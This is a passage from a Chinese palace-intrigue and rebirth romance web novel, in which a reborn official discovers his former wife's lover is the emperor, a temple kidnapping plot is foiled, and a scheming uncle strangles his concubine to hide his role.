面色绯红,鬓发微斜,赫然就是他的妻子赵清仪! 无形的怒火瞬间直冲脑门,这一幕带给他的打击,远比老宅当日,发现赵漫仪与马夫共处一室还怀了野.种,更叫他难堪愤怒。 李彻恨不得现在就冲上去,现在冲上去,就是捉奸成双,板上钉钉! 赵清仪这个红杏出墙的女人,她背叛了他! 可就在李彻将要抬脚之际,她的妻喝完水,软软靠在男人怀里,那个男人的侧脸终于显了出来。 李彻下意识屏住呼吸,想要看清这个勾.搭有夫之妇的野男人。 楚元河抱着赵清仪,掌心还在她柔滑的肌肤上流连,潋滟的桃花眼却渐渐淬上了锋芒,忽然转头朝李彻所在的方向看去。 这一次,李彻终于看清了他的相貌,和先前在新政学堂见到的一模一样,也是他有过几面之缘的平西郡王。 李彻心想,果然如此,果然是他! 李彻一眨不眨地盯着那个男人,微风过境,卷起的红绸再度飘落,带下了大片的阴影,暗红交错的阴影罩在男人头顶。 光与影在楚元河脸上依次掠过,男人骨相愈发清晰,他盯着底下的人,犹如看着一只苟且偷生的蝼蚁,薄唇缓缓勾起一抹讥讽的弧度,在暗影中显得格外森冷。 头顶似有惊雷闪过,乌云密布,雷霆震怒,强烈的威压碾了上来,李彻瞳孔瞬间放大,冷汗顺着脸颊不断地流淌下来。 前世他最不愿回想的记忆在此刻分毫毕现,一幕一幕像是巨石砸过脑门,再熟悉不过的恐惧让他膝盖发软,呼吸也变得异常困难。 只是一个眼神。 仅仅一个眼神。 那种被人扼住咽喉,濒临死亡的痛苦重现,李彻眼睛赤红,下意识用双手掐住了自己的脖颈,做出挣扎求生的狼狈姿态。 是他……是他! 是那个魔鬼!那个疯了的男人! 此前他只觉得楚元河相貌气度很熟悉,但他没多想,毕竟前世,他临死也只在阴暗的牢房里近距离见过陛下,即便楚元河生得与陛下有些相似,那也正常,因为是兄弟。 可是方才的阴影投落,他终于认出来,阁楼之上,抱着他的妻子,吻过他妻子的男人,就是上辈子那个把他折磨得生不如死的疯子! 是当朝的……陛下! 怎么会…… 赵清仪口口声声说她养了个外室,结果……竟然就是陛下? 李彻努力回想这一世,回想楚元河第一次出现在赵家的场景,回想后来他曾出现过的每一次,以及赵漫仪曾言之凿凿地说,赵清仪院里有野男人。 原来,野男人一直都在,只是那个人不是李衡,是他想破脑袋都不敢想的人,是陛下。 他顶着平西郡王的身份,欺骗了所有人! 巨大的震惊与恐惧,险些让李彻喘不过气,他慌忙撒手,脚下踉跄好几步,一屁股跌坐在地,目光死死盯着阁楼,盯着赵清仪的背影。 赵清仪慵懒地靠在楚元河怀里,隐约听到动静,就要回头去看。 楚元河掌住她的脸,将她掰回来,同时偏头又吻下去。 站在李彻的位置,能够清清楚楚看着二人紧密相连,难舍难分的唇。 赵清仪浑然不知发生了什么,只是觉得今日的楚元河格外热情,也格外的……充满了占有欲,吻得一次比一次凶。 和以往的撒娇、刻意讨好、假意温顺都不同,这一刻他好像变了个人。 冷漠的,强势的,甚至是疯狂的,他用力在她口中汲取,几乎是瞬间就让赵清仪窒息。 本能驱使下她做出抵抗,双手却被反剪在身后动弹不得。 如若不是换气的间隙,他低声哀求,“般般,你快亲我。” 赵清仪还以为他真变了,要来硬的,忍不住打量他发僵的脸色。 楚元河松开她的腕,急得眼眶红红,黑沉的眸底风雨欲来,“快亲……不然我要闹了。” 他闹起来,赵清仪这几日干脆就别下榻了。 赵清仪不敢犹豫,挣脱的双手捧起他的脸,主动亲吻他的眼睛。 她太温柔了,动作也和她人一样,娇娇的,轻轻的,楚元河只能感觉她的怜惜。 可现在他要的不是这个,他要她同样为他疯狂,他要同样的占有。 “还不够。”楚元河气喘得厉害,“要像我方才那样……往死里亲……” 第66章 第66章“你也不来玩.弄我…”…… 赵清仪脸颊腾地热了,这什么奇怪的要求。 楚元河真的很急,隔着衣裙掐住她的腿往怀里拽。 赵清仪赶紧顺毛,搂住他的脖子,学着他先前那样,往死里亲他,甚至张口咬上他的唇,只是没把控好力道,淡淡的血腥气在二人唇齿间蔓延。 她顿了顿,准备分开看看伤势,别真咬破皮,不好见人。 可那血腥气像是刺激了男人心底某根不可捉摸的弦,以至于赵清仪仅仅只有主动一下的机会,又被放倒了。 倒下时,楚元河发出一声极低的轻叹,她对自己的爱终究是少了些。 赵清仪本来想拒绝的,刚刚不是才亲过了,刚整理的衣衫又弄得乱七八糟,可她感觉得出,楚元河有问题。 他的情绪起伏很大,好似汹涌翻滚的海浪,而她只是海浪之上艰难求生的一叶扁舟,她不能逆着来,索性闭眼承受。 楚元河还算清醒,真到不可收拾的时候,他就把人抱起来,一边亲,一边裹挟着她的身体进了里屋。 再有风卷起红绸,李彻也看不到她了。 尽管如此,李彻最后一点希望也被彻底击溃,他跌坐在地,仿佛顷刻间苍老过去,满脸颓败。 他失败了。 不是二十五岁的李彻失败了,是四十三岁的李彻,是曾经官居首辅的李彻。 这一刻他清楚地意识到,尽管重生了又能如何,他的仕途,他的女人,都没了。 重生不过是让他记住了昔日的辉煌,也记住了昔日的痛苦折磨,而今痛苦依旧深深烙印在他灵魂里,让他只是看那个男人一眼就发怵。 而昔日的辉煌,也只是告诉他,他曾经拥有过,他拥有过权势,地位,女人,一切尽在掌握之中。 再到如今,他一无所有。 如果他不曾得到,他不会惦记,对二十五岁的李彻来说,那些都是空中楼阁,是不曾触及的高度,他没有享受过一人之上,万人之下的快意,失去了也没什么。 人生没有起来过,就没有低谷,不会痛苦。 可偏偏他不是,他是官居首辅的李彻! 他如何平静的接受一夕之间,从云端跌入地狱? 赵清仪是他最后的希望,是他最后找回自尊的可能,现在也灰飞烟灭了。 赵清仪爱上了那个男人,她的外室,是陛下。 他连报复的资格都没有。 官居一品时,他都奈何不了陛下,更何况如今,什么也不是的李彻。 他就是一条狗,一条丧家犬,只有被人踩在脚下,摇尾乞怜的机会。 这样的重生还有何意义?不如死了好。 李彻从地上爬起来,浑浑噩噩,如同游魂一般走开。 留下来还有什么意义呢?听他们颠鸾倒凤,看他们成双入对吗? 李彻用力闭上双眼,两行浑浊的泪水滑过脸庞。 屋里,暖香红帐,爱意热烈。 楚元河已经把什么李彻全部抛到了九霄云外,专心侍奉起他的县主,他的夫人。 滚烫的唇印在她的脚踝内侧,赵清仪蜷起足趾,娇声喘气,“不对,我们刚刚明明在说正事……” 差点忘了,新政学堂起火这事不一般,加上她才遭遇一次刺杀,说不准,父亲那里也危险。 楚元河还在亲,被她一脚踢开后,赵清仪拽过散落的衣裙重新穿戴。 楚元河愣了好半晌,气笑了。 赵清仪又转过身,在他唇上啄了一下,“天还没黑呢,你自己说过的,白天只谈正事。” “什么事,比我还要紧?”楚元河无从反驳,生无可恋地躺在床榻上。 “当然是我父亲了。”赵清仪穿好,走到铜镜前梳妆,说出了自己的顾虑,倒也是人之常情。 楚元河总不能吃老丈人的醋,“我派了人在暗中相护,过几日应该会有消息传回来。” “真的?”赵清仪悬起的心安稳不少,看出他的不高兴,又过去抱住他,真心实意道,“谢谢你,总是明里暗里照顾我,照顾我的家人。” “这些话我都听得耳朵起茧子了。”楚元河不买账,耸肩挣开她,神色郁闷地控诉,“我可是你的外室,你也不来玩.弄我……” 他愿意供她享乐,她也不知及时行乐。 暴殄天物,浪费光阴! — 李彻不记得自己是如何离开的,直到一个男人挡住他的去路。 “让开。”李彻声音嘶哑,有气无力。 “早知你难堪大用,上头也不必白费力气救你出来。”男人躲在宽大的黑袍里,只露出一双眼睛,“若是让王大人做了亏本买卖,光你一条命可不够赔。” 言下之意,还有他的母亲妹妹,甚至是他的儿子,一个也别想好过。 李彻现在哪里还在乎别人的生死,他哂笑。 男人递给他一张字条,“给你一个报仇雪恨的机会。” 李彻的灰暗的眼眸有了一丝光亮,他抬起头,看着面前的男人,似乎想通过那双眼睛认出对方的身份。 “别看了,你不会知道我是谁的。”连声音都刻意压低了,嘶哑难听,“杀了赵清仪,你不仅能帮上王大人,也算了却你一桩心事。” 重生之后,李彻想过报复赵清仪,可远没到取她性命的地步,毕竟那条命不好取,是要付出代价的。 李彻张了张口,想说的话咽了回去,反问一句,“你见过陛下吗?” 男人皱眉,不答。 李彻又问:“陛下与平西郡王,生得有几分像?” 男人不耐烦,这和他们的计划无关,王大人要的是赵清仪的命,赵清仪可是赵怀义的女儿,她死了,赵怀义在浙江的所有行动都会被迫终止,其实也可以选择杀了孟氏,或是赵老夫人,又或者赵澜俨。 但里面,有男人自己的私心,他现在想赵清仪先死,她太能搅事了,留着就是祸害。 “不关你的事少打听。”男人最后只留下这一句话。 李彻定定看着手里的字条。 入夜,平静的西赵府一角,一个小厮接过李彻的传信,转入芳菲院内,交给了芳菲苑的婢子小满。 方姨娘还在禁足期,日夜跪在房里抄写经书,收到字条,她头也没抬,“放一边吧。” 事已至此,她的一双儿女都不在了,日子犹如一潭死水。 小满忖了忖道,“姨娘,来传信的人,婢子瞧着眼熟,好像……好像是李大人?” 方姨娘冷哼,“李衡?他来做什么?” 上回她可是好心好意助李衡达成所愿,他倒好,反过来阴了自己一把。 小满赶紧摇头,“不不,不是李衡大人,是……” “难道是李彻?”方姨娘音量陡然拔高,敢蘸了墨汁的笔一抖,她也不抄经了,径直将笔拍在案上,“他不是要死了吗?” “听说改判流放了,也不知怎么就出来了。”小满战战兢兢道,“他穿得很严实,婢子看不真切,或许、或许看走眼了……” 方姨娘胸腔里还怄着一口气,要说最恨的人,赵清仪排第一,李彻就是第二了,如果不是这个男人,她的漫儿不会一步错步步错,李彻才是万恶之首! “这个废物,还敢来找我?” 方姨娘夺过字条,看完后脸色更沉了。 李彻居然拿骏哥儿来威胁她,虎毒还不食子,李彻真不是个东西! 想到女儿离开上京时的嘱托,方姨娘无论如何也得见李彻一面,否则真怕李彻发了疯对骏哥儿下手,便与小满换了衣裳,趁着夜色浓重行至角门。 “好久不见了,方姨娘。”李彻一直在门外等着,见到人来,才慢慢摘下斗篷帽子,露出一张苍白的脸。 方姨娘深吸口气,美眸恨意汹涌,“你真是好手段,这样还能逃出来,就不怕我告发你?” 李彻已然无所畏惧,除了一条命,他没什么可失去的,他将一纸信封递过去,“事情办好了,骏哥儿给你。” 方姨娘没接,“我凭什么相信你。” 据她所知,骏哥儿在赵清仪的庄子上养着,可赵清仪家财万贯,名下庄子数不胜数,她都不知道具体在哪里,李彻又如何确保自己能找到骏哥儿,还把人带出来。 “诏狱那种地方,我都能出来,找到骏哥儿,不难。”李彻声音阴冷,没有丝毫情绪,说罢重新带上斗篷帽子,转身没入夜色。 方姨娘盯着他的背影莫名一寒,总觉得,李彻变了许多。 回到房里,方姨娘才敢拆开信封,竟是老夫人祈福当日的路线图及仆婢调度,府中大事皆有主母操持,这次也不例外,是孟氏与冯氏共同操办,她这个小妾没资格知道这些细枝末节。 李彻一个外人,摸得如此清楚。 另附一张字条,要她拿赵清仪与他交换骏哥儿,一个是仇人,一个是亲外孙,孰轻孰重,方姨娘分得清。 — 转眼到了赵老夫人寿宴当日,一家人早早出门,陪同老夫人去相国寺烧香,方姨娘赶在前一天,将抄了九九八十一遍的地藏经呈给老夫人,诚心诚意的忏悔,想换一个同去寺庙祈福的机会。 老夫人原本不同意,赵怀良出面保她,“只是想同去烧个香,求个平安,待会来后继续禁足就是。” 老夫人这才松口,想到还有个寄住府上的方茹,索性让她一道同去。 相国寺香火鼎盛,无论什么日子去皆是人满为患,为了让这日的祈福顺顺利利,孟氏与冯氏提前派人去寺庙打点过,一路畅行无阻,定好的斋饭也会在祈福过后布施出去。 不料却在相国寺山门外遇到了李衡,他身边还围绕着不少人,其中就有张婉琰的夫婿乔文柏。 见到赵家一行人,乔文柏和李衡匆忙上前见礼,他们今日在此办新政诗会,不知情下冲撞了老夫人的寿诞,这就换地方,望老夫人莫怪。 京中大户人家过寿,哪个不是热热闹闹,宣扬得人尽皆知,如老夫人这般只在寺中办场祈福法事,布施斋饭的占少数。 老夫人笑着双手合十,让他们继续办诗会,不必理会她。 乔文柏与李衡再次作揖,老夫人寒暄几句,多看了李衡一眼,倒是个不错的孩子。 方茹也偷偷看了他好几眼,但不同以往,除了倾慕,还有丝隐隐的担忧不安,在老夫人率女眷进殿上头香时,方茹跑了出来,不顾大庭广众无数双眼睛,抓着李衡的手腕往人少的地方去。 乔文柏几人目瞪口呆,面面相觑。 李衡被她拽得很不自在,到了树下便挣开她,“方姑娘此举何意?” “李大人,您还是带着您的同僚尽快离开吧。”方茹神色焦急,“你们来得不是时候。” “我知道,方才已经与老夫人赔罪了……” “不是这个!总之、总之你们快走就是!”有些话方茹说不出口,急得直掉眼泪。 李衡敏锐的察觉到异常,“是要发生什么事吗?难道,老夫人她们有危险?” 方茹别过脸去,“你别管了,快走吧。”她也没想到李衡会在这里,如果不是李衡,她会把昨夜知道的事全烂在肚子里。 至此,李衡心里有数了,他拽过方茹,强迫她看着自己,“是不是要出事?是冲着老夫人,还是县主?” 方茹咬着唇,不敢说。 “人命关天,你说啊!”情急之下,李衡冲她吼。 不远处的乔文柏等人感觉情况不对,想上前阻拦,忽的就听斜前方的大雄宝殿传出尖叫,守在殿外的小沙弥争先恐后跑出来,面上皆是惊慌害怕。 李衡听到尖叫,甩开方茹跑过去。 “李大人!”方茹急得跺脚,到底是跟了上去。 李衡闯入主殿,赵家人再次尖叫,纷纷往佛祖金像靠,几个黑衣蒙面的刺客握着刀,其中一人还挟持了孟氏,“都别过来!否则我杀了她!” 其余人则护在他身侧,警惕着殿中其余人。 赵清仪好几次要上前,被老夫人护在身后,“你们若是求财,要多少我们都给你,千万别伤人。” “老子不要钱。”刺客换了只手掐住孟氏的脖颈,另一手握刀指向赵清仪,“老子要她,若要这妇人活命,就拿她来换!” “好,我跟你换。”赵清仪没犹豫,往前一步,将蠢蠢欲动的弟弟推给老夫人,老夫人只能死死抓着孙子的后脖领。 刺客闯入之际,孟氏下意识护住女儿,以至于刺客失手,没抓到赵清仪,反而错抓了孟氏,那一刻赵清仪就明白,都是冲着自己来的。 而对方不像上一批刺杀她的人,仅仅是抓人,是想留她一个活口,但未必会留孟氏。 孟氏还算镇定,警告赵清仪别过来,冯氏与赵温仪也劝。 赵澜俨气不打一处来,要不是因为祖母揪着他,他早带着他新得的宝剑冲上去拼命了。 李衡跑进来就撞见这一幕,也劝赵清仪别轻举妄动,可她没听,而是缓缓朝黑衣人走去,杏眸一如既往地沉静。 她太镇定了,刺客怕她耍花招,干脆挟持孟氏退出大殿,往寺院的后山去,“想她活命,其他人不准跟来!” “好,我一个人过去就是。” “清仪!” 赵老夫人哭红了眼睛,一直冲她摇头。 李衡站在殿门口不敢轻举妄动,眼睁睁看着赵清仪孤身一人往后山去,而他们只能远远跟着,但凡想近前一步,刺客就拿孟氏威胁。 赵清仪始终镇定,冷冷盯着刺客的一举一动,到了后山的悬崖边上,又有几个蒙面刺客接应,除此之外,悬崖边的一颗歪脖子树上,还吊着一个男人。 赵清仪脚步一顿,定定望着那个人,无力闭眼。 楚元河怎么也被刺客抓了,还吊在树上! 接下来,是要她二选一吗? 挟持孟氏的那名刺客看到楚元河,也愣了好半晌,不记得自己什么时候绑架过他,况且雇主就给了一份钱,让他们活捉赵清仪而已。 楚元河手脚皆被人用麻绳捆着,吊在半空晃来晃去,身下便是深不见底的万丈深渊,他却半点都不紧张,反倒嬉皮笑脸的,“县主总算来救本王了。” 远远跟来的赵家人也认出了楚元河,一家人吓得腿软,“郡王?” 负责挟持孟氏的刺客哆嗦了一下,他们还绑架了郡王?不由瞪了几个前来接应的同伴。 抓县主是没办法,雇主给了钱,可这郡王完全没必要啊,不仅费劲不讨好,还得罪皇家。 不管了,当务之急,是把赵清仪抓住。 “你过来。” 赵清仪不动,“你把他们先放了。” “都放了,我们岂不吃亏?”刺客不傻,挟着孟氏退到了悬崖边上,“你二选一。” 赵清仪沉住气,瞥了眼吊在树上的楚元河,又看了眼自己母亲,当机立断,“我选我母亲,你放了她,我随你处置。” 这是刺客最期望的结果,刺客等着赵清仪一点点靠近,警告她别耍花招。 所有人的注意力都放在刺客与赵清仪身上,楚元河吊在半空,将赵清仪的表情尽收眼底。 不意外这个结果。 但是怎么就……还是有点伤心呢。 她一刻都不曾犹豫,选择救孟氏,放弃了自己,这万一自己真被绑了,现在就该坠崖身亡了。 楚元河默默叹了口气,在刺客推开孟氏,改为挟持赵清仪的刹那间,他双足猛然朝前飞起,正中刺客后心。 刺客闷哼一声,整个人飞扑出去,与此同时,楚元河凭借内力震断了束住手脚的麻绳,颀长的身躯在空中翻转半圈稳稳落地,将准备爬起来的刺客一脚踩了回去。 原先在此接应的假刺客们扯下面罩,拔刀三下五除二扭住了真正的刺客。 所有人皆松了口气,赵老夫人这才敢带着家人跑上前,搀住孟氏,冲他道谢,又询问他为何会出现在此。 “哦,本王听说*这悬崖边上的风景别具一格,就在这儿吊着看看风景,凑巧碰上刺客挟持贵府女眷,随手搭救罢了。”楚元河敷衍极了。 除了赵清仪,他待旁人似乎向来如此,没有解释的必要,解释了那也是胡言乱语。 赵老夫人讪讪一笑,不再过问,只是道谢。 赵清仪轻咳一声,眼神提醒他收敛点,他的脸色才多了三分正经。 “……” 孟氏的脸色古怪至极,偏偏还要装作对女儿与郡王的事一无所知。 楚元河让人把刺客带下去严刑拷问,方姨娘脸上最后一丝血色也消失不见。 那些刺客,和当初在山西劫道刺杀赵怀义的人可不是一个水准,那时她有钱,出得起高价雇佣死士,可眼下今非昔比,她雇来活捉赵清仪的刺客身手一般,估计是禁不住拷问的,万一把她供出来…… “方姨娘。” 李衡突兀地叫住她。 方姨娘打了个激灵,赵老夫人也看了过去,面露疑惑。 李衡瞥了眼方茹,“下官有一事不明,方才在殿前,方姑娘跑来刻意提醒下官,要下官赶紧离开此地,紧接着殿内就出现刺客,挟持了大夫人,不知这其中有何关联?” 在场众人,哪个不是浸淫后宅多年的老手,一下就听出了端倪,赵老夫人呵斥,“方茹,你快说,你究竟知道些什么?” 方茹赶紧跪下,慌张无措地看了眼方姨娘,又看向李衡,结结巴巴地说不出话。 “这能有什么关联。”方姨娘先发制人,“你又不是不知茹儿倾心于你,可你却三番四次拒绝了她,她不想见你,催你离开是人之常情。” 说罢还恨铁不成钢般瞪了方茹一眼,上前拧她,“你个不争气的东西,人家心里没你,你还巴巴往前凑,是嫌不够丢人吗?” 方茹捂着胳膊惨叫,哭得泪眼朦胧,姑姑都知道了,姑姑什么都知道了,她要是敢说出半句不利姑姑的话,她往后就别想在赵家活下去,便只能含泪认错。 之前打过交道,李衡几乎可以断定,今日的刺客就是方姨娘安排的,一定是她。 方姨娘又一次堵住他的话头,“李大人该不会以为,刺客是我安排吧?我不过是个妾室,对今日祈福的安排一无所知,我又如何提前安排刺客潜伏殿内?” 若要怀疑,冯氏的嫌疑更大。 冯氏也听出来了,气到火冒三丈,好在被女儿赵温仪拉住,没冲上去。 李衡被她呛得说不出话,“若不是你,你的侄女又怎么事先知道会有刺客……” “幕后黑手是谁,审一审就知道了。”楚元河冷不丁打断他们,笑得邪肆。 一直默不作声的赵怀良忽然站出来,打了方姨娘一记耳光,方姨娘错愕不已,张口就想辩驳,“老爷……” “你少说两句!” 赵怀良恶狠狠瞪着她,“母亲对你还是太宽容了,早知你会闹事,就该让你继续禁足!你这样的人,实在不配生养江俨,你不配做他的母亲!” 提到赵江俨,方姨娘立时低头跪下,小脸煞白不已。 “妾、妾身知错了,一切是妾身鬼迷心窍,是妾身做的糊涂事,老爷,求您不要迁怒江俨,他只是个孩子,他什么也不懂,千错万错都是妾身的错!” “你太让我失望了!” 赵怀良似乎还在气头上,在众人尚未回神时,捡起地上的刀将刺客就地处死,鲜血瞬间洒了满地。 “啊!”一众女眷赶紧后退,不敢睁眼去看,老夫人转动佛珠,闭目念佛,压下心头的惊骇。 唯有楚元河与赵清仪面不改色,面对刺客的死,还有种原来如此的感觉,二人短暂交换眼神。 楚元河笑了笑,转动方才被捆住的手腕,宽大的袖摆滑落,恰到好处露出两抹淤痕。 “行了,刺客已死,算是为长嫂还有清仪报仇了。”赵怀良丢了刀,猛吸口气平复心绪,“至于方姨娘,终身幽禁,再不许踏出院子半步!” 孟氏别有深意地看了他一眼,又看向赵清仪,对方轻轻颔首,示意她暂且揭过。 不必再追问了,一直藏在暗处对他们长房动手的,不是方姨娘,而是她的好二叔,赵怀良。 方姨娘只是他手里的一把刀。 赵老夫人倒是没往别处想,只觉得二儿子心慈手软,被美色迷了眼,至今还对方姨娘有情。 可怜二房的血脉竟是从方姨娘的肚子里爬出来的,若非有个孙子赵江俨,这一次无论如何,她都不会留方姨娘性命。 一家人各怀心思,老夫人也无心礼佛,直说头疼便下山回府去了。 赵清仪稍稍落后几步,缀在后头,与楚元河保持着恰到好处的距离,“回头我让俏月给你送点伤药。” “不要。”楚元河捂着手腕,目不斜视。 那模样就差没把“快哄我”三个字写脸上。 赵清仪也很无奈,“今日出了事,我肯定要回家住,说不准我母亲还有话要问我。” 所以楚元河不能来,她也不能去自己宅子里。 楚元河沉着眸子,幽怨道,“你回赵家,我不也还在你隔壁吗?” 若真有心,也能来看他的。 ……果然还是不够爱他。 赵清仪似乎才想起来,王府与她的院子仅一墙之隔。 看对方那副神情,她抿唇忍笑,难得松了口气,柔声哄道,“好好好,夜里没什么事的话,我去看你,亲自给你上药。” 楚元河的脸色这才有所好转,到了相国寺山门口,二人分道扬镳。 赵家的气氛再次沉下,谁也没说话,回府后,赵怀良亲自扣着方姨娘进入芳菲院,赵老夫人憋了一肚子的话,到底没说出口。 且再看看,若赵怀良心慈手软,那么,她不介意替他动手。 一进芳菲院,方姨娘便开始哀哀戚戚地哭,恳求赵怀良饶她一次。 赵怀良沉吟片刻,颇为遗憾地叹道,“夫妻一场,允你自我了断吧。” 第67章 第67章撩拨取悦的手段五花八门…… “不,我不想死,我不想死!” 方姨娘连滚带爬到他脚边,声泪俱下,“老爷,妾身真的错了,是妾身行事不周,您就饶了我一次!” “饶了你?” 赵怀良冷笑,挑起她秀气的下巴,“我饶你多少次了?嗯?” 从安排杀手截杀赵怀义一家,方姨娘失手,再后来给老夫人下毒栽赃赵清仪,逼赵清仪离开,她也失手,如今要取赵清仪性命,她还失手! 方姨娘嘴唇哆嗦,她怎么听不懂了?赵怀良在说什么? 横竖他们夫妻一场,赵怀良决定让她做个明白鬼,“这些年,你背着我做了多少件事,我一清二楚。” 方姨娘猛然睁大眼睛,僵在原地。 “没有我在背后帮你,你一个毫无根基的妾室,你以为你能请得动死士?” 赵怀良猛地一个巴掌掴在她脸上。 方姨娘每次出手,都有他在背后周全,可这一次,绑架赵清仪这么重要的事,方姨娘是瞒着他做下的。 也怪他疏忽了,他禁足方姨娘,把杀赵清仪的事交给李彻去办,没想到李彻转头竟找上方姨娘,还包藏私心,要留赵清仪活口。 方姨娘手里没几个钱,又无权势为她撑腰,找来几个废物,事情办不好,反倒暴露自己,要不是他今日动作快,刺客就要把方姨娘供出来了。 他可不允许方姨娘遭人指控,毕竟名义上,那是他宠爱多年的妾啊,怎么能买凶杀人呢。 方姨娘惨叫一声,又慌忙爬起来,战战兢兢的跪好。 “当初看你还算个聪明的,能替我做不少事,我才留你至今。” 赵怀义攥着她的领口又将她拽了回来,指尖温柔抚过她的脸颊,“奈何你太不中用……” 方姨娘是他的刀,亦是他的替死鬼,只是要死,也得清清白白的死。 “自我了断吧,回头我会说你是突发恶疾,暴毙而亡,一个死人,没人会往你身上泼脏水的。” 赵怀良放开她,眼神前所未有的冷漠,“相信我,如今死了,对你来说才是最好的,若是落到旁人手里,那才叫真正的……生不如死。” 方姨娘不敢置信,这个口口声声爱她多年的男人,居然说出这种话来! “我不想死,我不想死……” 她再次用出从前的手段,眉心蹙得恰到好处,既显出柔弱,又不失美丽,就连眼泪也由她掌控,要什么时候落下,如何落下,落下几滴,皆在掌控之中。 “老爷,你送我走吧,我走得远远的……”只要她走了,就没人追究她了,她永远都不会回来。 赵怀良仰头闭目,满是遗憾与失望,“你送走一个赵漫仪还不够吗?不是每次犯了错,送走就能了事的。” 方姨娘还想争取,求求他,看在她小心侍奉他多年的份上,放她走吧。 赵怀良凝视着她,扯了扯嘴角,“那你说说,你想我把你送去哪儿?送去钱塘江员外府上吗?” 亲耳听他提到江员外,方姨娘一脸惊恐,看着赵怀良,仿佛在看一个怪物。 他、他怎么知道的! 方姨娘彻底被抽去了力气跌倒在地。 原来,一直都是她在自作聪明,赵怀良其实什么都知道。 难怪…… 难怪他对漫儿不上心,他知道漫儿不是他亲生的,可他竟容忍了这么多年…… 就是为了利用她,利用她来杀人,利用她铲除大房。 方姨娘后怕之余,又绞尽脑汁在想该如何自证清白。 赵怀良毫不惊讶她的反应,当初她寻到自己,说她怀了他的骨肉,他信了,花了大价钱为她赎身,那时他也年轻,他承认,他就是看上了她的美貌。 可赵家门第不低,那种地方出来的女人想入府,他当然要查个清楚,很快就查到了江员外的存在,原来当初他们就是一对,只是那会儿江员外还是个穷小子,他二人珠胎暗结后,方姨娘为赎身找到自己。 可那时赵怀良真的爱过她,至少,爱过她的脸。 对比起家中的悍妇冯氏,他还是决定留下她。 直到后来方姨娘为他生了儿子,他唯一的儿子,他便决定对过去既往不咎。 “方巧儿,看在你给我生过一个儿子的份上,你和其他男人生了女儿,我都不计较了,你识相一点,莫让为夫难做。” 方姨娘痛心不已,拉着他的袖摆哀求,“老爷,妾身知错了,妾身不该欺骗您……” 赵怀良听出来了,挑眉问道,“你不想死?” 方姨娘点头如捣蒜,好死不如赖活着,她只想活下去。 “只要能活着,你什么都愿意做?” “妾身愿意!” 方姨娘想得很开,不就是再利用自己一次吗?她什么都可以做。 赵怀良听笑了,毫不掩饰眼底的讥讽,“我想成全你的体面,可你居然不领情。” 他到底是高门出身,有他的骨气,万万没想到,他的爱妾就是个贱命,宁可苟且偷生,也不愿痛痛快快死了。 那就成全她,只是明面上,方姨娘必须死。 她不要脸,他要。 “有些疼,你且忍忍。” 赵怀良温柔安抚的手忽然掐住她纤细的脖子,将她整个人从地上提了起来。 “呃……” 方姨娘闷哼出声,拼命拍打他想要挣扎,脚尖却在慢慢脱离地面。 至此,赵怀良的眸中蓄起了泪光,看着方姨娘的眼神满是怜爱,宠了这么多年,不是没有感情的。 可惜,方姨娘不识趣。 赵怀良一点点收紧虎口。 窒息感越发强烈,方姨娘疼得说不出话,脸渐渐涨成了猪肝色。 直到赵怀良最后用力,方姨娘所有的挣扎戛然而止。 门外,透过门缝看清这一幕的方茹赶紧捂住口鼻,落荒而逃。 姑父亲手杀死了姑姑,回头一定不会留下她,她必须逃离赵家! 方茹一路狂奔出府,出来仓皇,她根本来不及收拾细软,身无分文的她只能跑到官舍,敲响李衡的门。 与此同时,李彻也在逃,楚元河的暗卫对他下手了,他连夜逃至王家,求王次辅送他离开上京,他要去浙江。 纵火失败,杀赵清仪失手,王次辅对他不屑一顾,让小厮将人赶出去。 李彻焦急不已,他不能被赶出去,楚元河的暗卫就在外头,他若没有王家庇护,出去必死无疑。 “我说过的,我的存在是要干大事的,我能助岐王达成所愿!”干脆放出豪言,没有他,岐王成不了事。 上一世,岐王就没能成功,陛下是何许人物,没有他的先知,岐王这一世同样会失败,根本就不是陛下的对手。 可若有了他,结局自然不一样,老天让他重生,一定有老天的用意,这一次,他才是万物的主宰,是这个王朝的中心! 涉及岐王,再听他信誓旦旦,王次辅不由想起上回在狱中,李彻的几个提议,他转达了岐王,确实得到了不错的成效。 罢了,看他还有点用。 “派个马车,即刻送李大人前往浙江。” - 方姨娘暴毙而亡的消息,当夜传遍全府,赵怀良痛不欲生,赵江俨也跟着哭。 老夫人来了一趟芳菲院,看着了无生机的方姨娘,叹了口气,念在她为赵家开枝散叶的份上,给她备了一具薄棺草草下葬。 孟氏得知此事,说了一句“死的真巧”也没了后文。 人都死了,还怎么追究,再追究,少不得被人说她长房得理不饶人,一切事宜,得等自己丈夫回来后再议,眼下还是先紧着女儿的大事。 “般般,今日郡王因为我们,多少受了惊吓,你带上厚礼,去隔壁王府看看郡王可有大碍。” 赵清仪愣了一下,耳根瞬间通红,别人不知道,母亲却是知情的,还让她去王府看楚元河…… “看得出来,郡王待你一片真心。”孟氏握住女儿的手,“你可要抓紧了。” 她还是盼着女儿能嫁给郡王,好好过日子。 赵清仪本就答应了楚元河半夜要去看他的,有了孟氏这番吩咐,倒是能明目张胆登门了。 到王府门口时,王府的人恭恭敬敬将她迎到二门,“县主请吧,过了二门,咱们这些奴才是不能进去的。” 从前的王府当然没这个规矩,但自从郡王回京后,就不让他们轻易靠近后院了。 赵清仪以为是楚元河临时吩咐的,没多想,独自跨过二门,顺着长廊一路往里深入,行至花园时,才看见楚元河的身影。 他独自一人坐在亭子里小酌,见到她,还有些疑惑,“我以为你会翻墙进来呢,梯子都给你搭好了。” 赵清仪不好意思,讷讷地说,“我母亲吩咐的,让我携礼登门亲自道谢。” 楚元河握着酒杯的手紧了紧,眉眼藏着晕不开的笑,“不愧是大夫人,揣摩人心,很有一套,这谢礼我就收下了。” 他酒也不喝了,打横抱起赵清仪就往房里去。 赵清仪惊呼一声,“你干什么?”这才坐下说了一句话。 “令堂一番好意,切莫辜负。”楚元河朗声大笑,进了屋就往她脖子上亲。 赵清仪被他滑落的发丝扎脖子痒痒,笑着推开他,“你想什么呢?我又不是谢礼。” “那是你笨。”楚元河埋在她颈窝处,嗅着她身上的香气,“我都领悟了你母亲的意思,就你听不懂。” 孟氏既然知道他们的关系不一般,还敢让女儿独自登门道谢,还能是什么意思。 赵清仪也知道,母亲想她嫁给楚元河,可她觉得如今的关系就很好,抛去一切枷锁与责任,只图个两情相悦。 她抬起楚元河的手,轻抚着上面的淤痕,“还疼吗?上次胳膊上的伤还没好,又添新伤了。” 楚元河似乎才想起来,疼得嘶嘶叫,他装得太过,换来赵清仪的狠力一捏。 “你今日故意的吧,还搞什么二选一,也不用脚趾头想想,我能选你吗?”孟氏让她道谢,但她还要来算账。 